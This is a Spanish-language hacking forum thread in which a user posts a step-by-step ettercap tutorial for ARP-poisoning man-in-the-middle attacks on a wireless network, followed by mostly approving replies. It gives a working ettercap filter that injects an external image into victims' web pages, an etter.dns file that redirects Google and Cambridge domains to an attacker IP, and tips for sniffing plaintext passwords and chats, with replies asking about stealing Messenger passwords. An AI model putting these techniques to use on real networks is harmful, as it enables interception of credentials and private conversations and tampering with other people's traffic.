elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 03:16  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless
| | |-+  Wireless en Linux (Moderadores: Uxio, pianista, ChimoC)
| | | |-+  ettercap para novatos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ettercap para novatos  (Leído 7,288 veces)
rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
ettercap para novatos
« en: 2 Julio 2009, 00:49 »

despues de mucho trastear, se los dejo por aqui:

Intrusion en redes wireless y ataques en redes
Usando ettercap-ng 0.7.3


Bien, tengo la clave wep (de tu router por supuesto, estas en tu red wifi) ahora, ademas de navegar... que puedo hacer?? pues muchas cosas. veamos cuales son.


Ettercap
ettercap-ng es la mejor herramienta para usar en redes con Hub o switch, ya que te permite analizar el trafico que pasa por tu red. Poniendo en modo promiscuo la tarjeta de red Wireless o ethernet, seras capaz de ver conexiones tienen tus computadoras con el router y que trafico hay en ellas, con que ips conectan y que intercambian, en texto plano.

texto plano?? si, texto plano! son todos aquellos datos que viajan sin encriptacion, tales como algunas web, passwords, conversaciones de messenger, etc.

algo de teoria: Para sniffar correctamente, es necesario una victima y un router/switch, debes de envenenar las tablas cache de tu victima y de tu router, veamos un ejemplo:

tablas cache 192.168.1.45
192.168.1.254  00:44:66:55:33:55
192.167.1.23   00:11:22:33:44:55

tablas cache 192.168.1.254
192.168.1.45  22:33:55:46:66:77
192.167.1.23  00:11:22:33:44:55


estas, serian las tablas cache de tus equipos en red. vemos que hay IP/MAC.  De eso se encarga... ARP (Adress resolution protocol) de asegurarse que todo esto este correcto y funcionando. Veamos un ejemplo de ARP poisoning.

tablas cache de 192.168.1.45
192.168.1.254  00:22:33:44:55:66 <----mac del atacante simulando ser el router
192.167.1.23   00:11:22:33:44:55

tablas cache de 192.168.1.254
192.168.1.45 00:22:33:44:55:66 <-----mac del atacante simulando ser el cliente
192.167.1.23 00:11:22:33:44:55

y todo el trafico de tu red pasara por tu tarjeta de red. Veamoslo en la practica

instalamos ettercap desde synaptic (Ubuntu 9.04) o desde su fuente. No debemos olvidar que se ejecuta con permisos de root

y lo abrimos, una interfaz muy limpia y ordenada nos da la bienvenida:


vamos al menu sniff y seleccionamos Unified Sniffing. Este unified sniffing es para seleccionar la interfaz de la tarjeta de red que queremos que sniffe. (eth0 es para Ethernet y rausb0,wlan0,ath0 es para wifi) no esta de mas decirte que debes de estar asociado a la red que quieres sniffar




ya que empezamos, y ettercap acepto nuestra interfaz ahora lo que sigue:

Scaneo de host: scanear host significa que hara un scan de la gente conectada a tu red, independientemente de que sean WIFI o ethernet... lo he probado y funciona muy bien con wifi a ethernet

presionamos ctrl + S y aparecera la ventana que indica que esta sniffando hosts:



al terminar... presionamos H y nos apareceran los host de tu red, incluyendo en router, seleccionamos la victima y luego presionamos "add to target 2" y luego el router y presionamos "add to target 1"

veamos la interfaz y los botones



Teoria: en si, esto es para envenenar las tablas ARP de ambas victimas... el ataque se llama Man In The Middle y consiste en hacer pasar todo el trafico entre la victima y el router por nuestra tarjeta de red. Esto es que el trafico desde la victima sea dirigido a nuestra MAC, convenciendo a la victima que nosotros somos el router, y despues de "analizarlo" sea enviado al router... simulando ser el cliente victima, y viceversa.

ya que hemos seleccionado nuestra victima procedemos a envenenar sus arp:

Seleccionamos Mitm del menu de ettercap y luego le damos en ARP Poisoning, seleccionamos "sniff remote connections"

y le damos en aceptar, asi:




ahora solo es cuestion de presionar ctrl + W y empezar a sniffar

podemos ver el trafico que se genera en distintos puertos, presionando ctrl + c  y presionando enter podremos ver el trafico que circula en ese puerto.

Puertos para ver:

1863----> tios en el messenger
80----->tios viendo websites

presionando ctrl + o veremos las ips conectadas y su nombre de dominio.

veamos una captura normal... halle una password!!!  pero es la mia :(



veamos un trafico normal de un puerto, especificamente el 1863, para ver texto plano. Nota: no es muy efectivo en estos casos, ya que solo captura parte de la conversacion.



veamos para que otras cosas sirve ettercap-ng

filtros en ettercap

los filtros se encargan de analizar los paquetes y cuando ven una coincidencia, ejecutan una accion sobre el paquete, ya sea inyectarle algo, o quitarle algo, es muy util, cuando requerimos que no haya conexiones al puerto 23,445 u otros... o matar todas las conexiones cifradas al puerto 80...

veamos un ejemplo de filtro:

este un filtro; lo copian a /usr/share/ettercap y lo ponen como ig.txt:

Código:
############################################################################
#                                                                          #
#  hacked -- ig.filter -- filter source file                               #
#                                                                          #
#  By rockernault. based on code from ALoR & NaGA                          #
#  Along with some help from Kev and jon.dmml                              #
#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
  # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://img91.imageshack.us/img91/5052/xxxtqd.jpg\" ");
   replace("IMG SRC=", "img src=\"http://img91.imageshack.us/img91/5052/xxxtqd.jpg\" ");
   msg("Filter Ran.\n");
}

ahora, ya que lo copiaron a la ruta que les dije es cuestion de compilarlo

veamoslo en la terminal



en mi caso, el filtro lo genero en /home/user, pero si son root lo generara alli mismo

asegurense que el filtro, llamado "filter.ef"  este en la ruta donde estan todos los demas archivos (/usr/share/ettercap)

y solo es cuestion de aplicarlo, en el menu "filter" de ettercap  o presionando ctrl + F

y aparecera este ejemplo


si lo quieren desarmar es cuestion de presionar F

y eso es todo acerca de los filtros en ettercap.

DNS SPOOFIN'

las dns son como un anuario donde se guardan las relaciones IP/dominio... veamos algunos ejemplos...

192.35.46.45  www.seguridadwireless.net
74.35.34.52   www.google.com
18256.457.67 http//www.segtr.com

un spoofin es una creación de tramas TCP/IP con la ayuda de una dirección IP falsa. El generador del spoofing (ettercap-ng) trata de simular la identidad de otra máquina para redireccionarla a una pagina falsa u otra pagina

veamos como se hace.

editamos el fichero /usr/share/ettercap/etter.dns

y por ejemplo, para redireccionar google, asi quedaria el archivo:

Código:
############################################################################
#                                                                          #
#  ettercap -- etter.dns -- host file for dns_spoof plugin                 #
#                                                                          #
#  Copyright (C) ALoR & NaGA                                               #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
#                                                                          #
# Sample hosts file for dns_spoof plugin                                   #
#                                                                          #
# the format is (for A query):                                             #
#   www.myhostname.com A 168.11.22.33                                      #
#   *.foo.com          A 168.44.55.66                                      #
#                                                                          #
# or for PTR query:                                                        #
#   www.bar.com A 10.0.0.10                                                #
#                                                                          #
# or for MX query:                                                         #
#    domain.com MX xxx.xxx.xxx.xxx                                         #
#                                                                          #
# or for WINS query:                                                       #
#    workgroup WINS 127.0.0.1                                              #
#    PC*       WINS 127.0.0.1                                              #
#                                                                          #
# NOTE: the wildcarded hosts can't be used to poison the PTR requests      #
#       so if you want to reverse poison you have to specify a plain       #
#       host. (look at the www.microsoft.com example)                      #
#                                                                          #
############################################################################

################################
# owned
#
#

http://www.cambridge.org  A  216.139.248.8
*.cambridge.org  MX 216.139.248.8
http://cambridge.org  PTR 216.139.248.8      # Wildcards in PTR are not allowed


[b]################################
# owned
#
#

www.google.com.mx  A  216.139.248.8
www.google.com   A   216.139.248.8
www.google.com.ar PTR  216.139.248.8      # Wildcards in PTR are not allowed
[/b]

##########################################
# no one out there can have our domains...
#

www.cambridge.org/touchstonearcade/  A 216.139.248.8
http://cambridge.org/touchstonearcade  A 216.139.248.8

###############################################
# one day we will have our ettercap.org domain
#

www.ettercap.org           A  127.0.0.1
ettercap.sourceforge.net   A  216.136.171.201

###############################################
# some MX examples
#

alor.org   MX  127.0.0.1
naga.org   MX  127.0.0.1

###############################################
# This messes up NetBIOS clients using DNS
# resolutions. I.e. Windows/Samba file sharing.
#

LAB-PC*  WINS  127.0.0.1

# vim:ts=8:noexpandtab

y es cuestion de reemplazar y/o añadir paginas para hacer pharmin' en tu red... redireccionando a tu hermano, amigo, pariente a una web.... y a ti...

ahora solo presionando ctrl + p y presiona enter en la linea donde dice DNS spoof  sends dns spoofed replies

como en la imagen




y eso es todo... el ettercap tiene mas usos... pero esos son los mas comunes...

Copyleft solo citenme!!

En Exclusiva para:

http://foro.elhacker.net
http://foro.xinformatica.net
http:/foro.seguridadwireless.net


En línea




byte72

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: ettercap para novatos
« Respuesta #1 en: 2 Julio 2009, 01:38 »

bueno aporte  :D


En línea
Isasu

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: ettercap para novatos
« Respuesta #2 en: 2 Julio 2009, 03:46 »

GENIAL!, pero tengo un problema (com,o siempre)
como hago para sniffear o sacar la pass del msn, o poder mirar las conversaciones, lo unico que puedo llegar a hacer es sacar las pass de algun ftp telnet, pero del msn nunca la pude sacar, tienes idea de que puede estar pasando?
En línea
rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
Re: ettercap para novatos
« Respuesta #3 en: 2 Julio 2009, 04:17 »

no vengas a preguntar eso...

si supieras de que hablo..
En línea




thedoctor77


Desconectado Desconectado

Mensajes: 2.706


Volver a ser un niño


Ver Perfil
Re: ettercap para novatos
« Respuesta #4 en: 2 Julio 2009, 09:05 »

genial, algo distinto bien! solo te falto poner como instalarlo, un saludo!!
En línea

Una rosa es una rosa...
ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 4.606


Paz, dignidad y justicia


Ver Perfil
Re: ettercap para novatos
« Respuesta #5 en: 2 Julio 2009, 09:29 »

Buenas:

 ;-)

Lo meto en link en la sección de manuales

Un saludete

ChimoC
En línea

rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
Re: ettercap para novatos
« Respuesta #6 en: 2 Julio 2009, 14:09 »

cualquiera que sepa linux sabe:

./configure

sudo make

sudo make install

aaunque es cierto...!!  no puse como instalar la gui!!
En línea




KARR
--16v--
Colaborador
***
Desconectado Desconectado

Mensajes: 4.648


Jugando con mi amigo wifi...


Ver Perfil
Re: ettercap para novatos
« Respuesta #7 en: 2 Julio 2009, 14:51 »

Maravilloso  ;-)

Un saludo ::) ::)
En línea




Isasu

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: ettercap para novatos
« Respuesta #8 en: 2 Julio 2009, 19:05 »

otra forma de instalarlo es desde los repositorios: urpmi ettercap (solo mandriva)
para ubuntu creo qe es apt-get ettercap
En línea
rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
Re: ettercap para novatos
« Respuesta #9 en: 2 Julio 2009, 19:23 »

tienes que activar los repositorios universe y multiverse en ubuntu para sacar ettercap, aircrack-ng dsniff y mas..
En línea




Chappulin

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: ettercap para novatos
« Respuesta #10 en: 17 Julio 2009, 19:09 »

Hola, hace tiempo que estoy aprendiendo leyendo todo de uds y los link que surgen de aca y de aya.
Ahora estoy practicando con ettercap desde wifiway 1.0 final instalado en el rigido de un notebook eeepc 1000.

Tengo un router linksys 54g, a el estan conectados el notebbok (por cable o inhalambrico) depende del dia, y dos pcs de escritorio con winxp por cable de red.

Inicio ettercap, pongo ataque mint, por arp ... uso remoto ... y comienzo la captura

Hasta aca le muestro "escenario" la pregunta es:

Porque cuando de cuanquiera de la maquinas con xp, ingreso a www.yahoo.com.ar
y le pido ir a ver el correo, antes que salga la pantalla de login me da error y dice que no se puede mostrar la pagina ar.yahoo./ar/acpi ?

Corto el ettercap y puedo ingresar sin problemas.

No me pasa eso desde la misma maquina y llendo a tutopia y revisando los mails, porque si obtengo mi usuario y contraseña.

Probando tambien lo hice con el foro del hacker y me da el usuario pero no el password, le pone asteriscos (supongo que para sacarlos, tendre que aprender mas  ;D )

desde ya muchas gracias

En línea
beholdthe


Desconectado Desconectado

Mensajes: 1.314


Ver Perfil
Re: ettercap para novatos
« Respuesta #11 en: 19 Septiembre 2009, 22:28 »

joder tio!!!!!!! muchisimas gracias por tu tutorial, lo he seguido y por fin he conseguido hacer man in the middle,    esta genial, aunq faltan algunas cosillas por explicar mejor,quizas alguien q sepa mas las ve logicas, pero bueno, no nos lo vais a dar todo todo mascado :D
te felicito por este magnifico aporte
un saludo
En línea
rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
Re: ettercap para novatos
« Respuesta #12 en: 19 Septiembre 2009, 22:34 »

si tienes dudas..

sientate a investigar...  y si no te satisfacen..

postea.. que te ayudaremos

 ;)
En línea




thedoctor77


Desconectado Desconectado

Mensajes: 2.706


Volver a ser un niño


Ver Perfil
Re: ettercap para novatos
« Respuesta #13 en: 20 Septiembre 2009, 18:37 »

no estaria mal ya que os poneis ha hacer un mimt usar algun xploit, intentar hacer el ataque modelo de kamsky, un saludo!!
PD: Para snifar no olvideis que podeis usar wireshark una vez esteis haciendo el mitm
En línea

Una rosa es una rosa...
rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
Re: ettercap para novatos
« Respuesta #14 en: 20 Septiembre 2009, 21:16 »

espera tio..

que esto es lo mas basico..


se esta cocinando algo bueno..   deja que me compre otra atheros y un router cisco


y veras que manual va a salir
En línea




Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda para novatos « 1 2 »
Ingeniería Inversa
ironbike 20 6,010 Último mensaje 1 Noviembre 2011, 01:50
por tena
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines